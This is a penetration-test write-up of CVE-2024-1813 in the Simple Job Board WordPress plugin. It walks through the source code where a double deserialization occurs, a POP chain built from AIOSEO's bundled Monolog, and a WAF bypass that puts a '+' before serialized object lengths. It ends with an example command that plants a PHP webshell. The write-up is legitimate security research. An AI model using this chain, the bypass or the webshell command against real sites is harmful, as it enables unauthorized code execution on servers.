Context
During a recent web application pentest, we came across a whole array of WordPress applications.
Faced with the harsh reality that the only way into the server would be through these applications, we had to dig deep into their weak points and one plugin stood out from the rest, by its version and the criticality of the vulnerabilities tied to it.
Unfortunately, no PoC or write-up could be found to reproduce this infamous unauthenticated RCE but we’re here to fix that.
Publicly tracked as an unauthenticated PHP object injection rather than a code execution flaw, CVE-2024-1813 was disclosed in April 2024, yet we still found unpatched instances during a 2026 engagement, and no public exploit chain demonstrating its real impact.
Simple Job Board Extension
Simple Job Board (published by PressTigers) is a lightweight WordPress plugin that adds a job portal to a site. It is installed through a simple [jobpost] shortcode and lets you publish job offers.
The applications received by an administrator can be reviewed from the WordPress dashboard, through a summary list of candidates (a point we’ll come back to later).
Exploitation Conditions
This vulnerability requires a relatively high number of prerequisites, but ones that remain fairly common on a WordPress instance:
- A vulnerable version (SJB ≤ 2.11.0)
httpx -u http://localhost:8000 \
-path /wp-content/plugins/simple-job-board/readme.txt \
-ms 'Stable tag' \
-er 'Stable tag:\s[\d\.]+'
- At least one published job offer
- required to retrieve a valid job_id and wp_nonce, and thus submit the malicious application
- A POP gadget chain loaded in the same PHP process
- we need a third-party plugin exposing a gadget chain (AIOSEO → Monolog, Guzzle, Symfony…) to exploit the deserialization
- An admin (or some automation) who opens the candidates list
- to trigger the exploitation chain from our malicious application
- A PHP version compatible with the deserialization gadget
Source Code Analysis
To make the vulnerability easier to follow, the value of the parameter that will trigger the deserialization is displayed at every step of the exploit.
jobapp_full_name → O:4:"Evil":0:{}
The vulnerability starts with the application handler, which is accessible to unauthenticated users:
1
2
3
<?php // includes/class-simple-job-board-ajax.php:75
add_action( 'wp_ajax_nopriv_process_applicant_form', array( $this, 'process_applicant_form' ) );
add_action( 'wp_ajax_process_applicant_form', array( $this, 'process_applicant_form' ) );
After validating the WordPress nonce, available on the job offer page, the code loops over every field in the request body whose name starts with jobapp_:
// includes/class-simple-job-board-ajax.php:208
$POST_data = filter_input_array( INPUT_POST );
// Save Applicant Details
foreach ( $POST_data as $key => $val ) :
if ( substr( $key, 0, 7 ) == 'jobapp_' ) :
$val = is_array( $val ) ? maybe_serialize( $val ) : $val;
update_post_meta( $pid, $key, sanitize_text_field( $val ) );
endif;
endforeach;
jobapp_full_name → s:15:"O:4:"Evil":0:{}";
Our field value, after a first pass through sanitize_text_field (which strips HTML tags and control characters), gets re-serialized by maybe_serialize (called by the WordPress API via update_post_meta), and finally ends up stored in the database.
At this stage, our serialized payload has become harmless: even if a deserialization were to run on it, it would only turn it back into its initial value (
s:15:"O:4:"Evil":0:{}"; → O:4:"Evil":0:{}).From now on, the jobapp_full_name field is stored in the application and ready for the administrator to view.
Once the administrator opens the offer’s candidates page, the application walks through the application’s post_meta looking for the first jobapp_* field whose key contains the substring name (e.g. jobapp_full_name, jobapp_first_name, …).
For that field, the application calls the get_post_meta method, which checks via is_serialized whether the value is serialized and calls maybe_unserialize if so:
<?php // includes/posttypes/class-simple-job-board-post-type-applicants.php:197
foreach ( $keys as $key ) {
if ( 'jobapp_' === substr( $key, 0, 7 ) ) {
if ( 1 !== $is_checked && NULL == $column_key ) {
$place = strpos( $key, 'name' ); // ← filter by the "name" substring
if ( ! empty( $place ) ) {
$selected_info = get_post_meta( $post_id, $key, TRUE );
break;
}
}
// ...
}
}
jobapp_full_name → O:4:"Evil":0:{}
And in 99% of applications, text processing stops right here. But not for Simple Job Board, which figures the field isn’t deserialized enough and adds one more round of deserialization just in case:
// includes/posttypes/class-simple-job-board-post-type-applicants.php:217
if ( is_serialized( $selected_info ) ) {
$selected_info = maybe_unserialize( $selected_info ); // ← SINK: object instantiation
// ...
}
From this point on, the jobapp_full_name field is deserialized and the PHP object is instantiated.
POP Chain
The Simple Job Board plugin offers no exploitable PHP class to achieve RCE through deserialization.
During our audit, we decided to analyze the other plugins on the WordPress server to find potential candidates shipping interesting frameworks.
As it turned out, the All In One SEO (AIOSEO) plugin proved to be our best vector. It bundles the monolog/monolog 1.26.1 library, already known as an RCE vector in PHPGGC.
To avoid collisions between plugins, AIOSEO isolates its dependencies behind a custom prefix. We therefore have to edit the PHPGGC payload to match the correct namespace, and recompute the O:N: lengths:
Monolog\Handler → AIOSEO\Vendor\Monolog\Handler
From here, we have everything: a chain to deserialize an object, and a POP chain to exploit it!
What could possibly stop us?
Web Application Firewall
A WAF sat in front of the WordPress server, blocking deserialization payloads in requests.
After analyzing its behavior and the regex that triggers it, we managed to find a way around it.
The WAF detects the following pattern in the request body:
":<number>:{
This pattern corresponds to the opening of serialized PHP objects and arrays, which is therefore indispensable in the payload.
Luckily, by inserting a + symbol in front of the number, the regex can be bypassed:
Blocked: ...":7:{...
Bypass: ...":+7:{..
The trick relies on an asymmetry between the WAF’s regex and the PHP parser.
Exploitation Script
With all these pieces assembled, we were able to build a working Python PoC to exploit servers in the same scenario:
In a different context, you will probably need to look for other exploitation chains for the deserialization, and adapt if a WAF is present.
Here is an example command to upload a webshell into a file on the server:
python3 sjb_cve_2024_1813.py http://localhost:8081 4 \
'printf '\''\74?php system($_REQUEST[1337]); '\'' > /var/www/html/wp-content/uploads/footer.php'
Demonstration
Remediation
Update Simple Job Board to version ≥ 2.11.1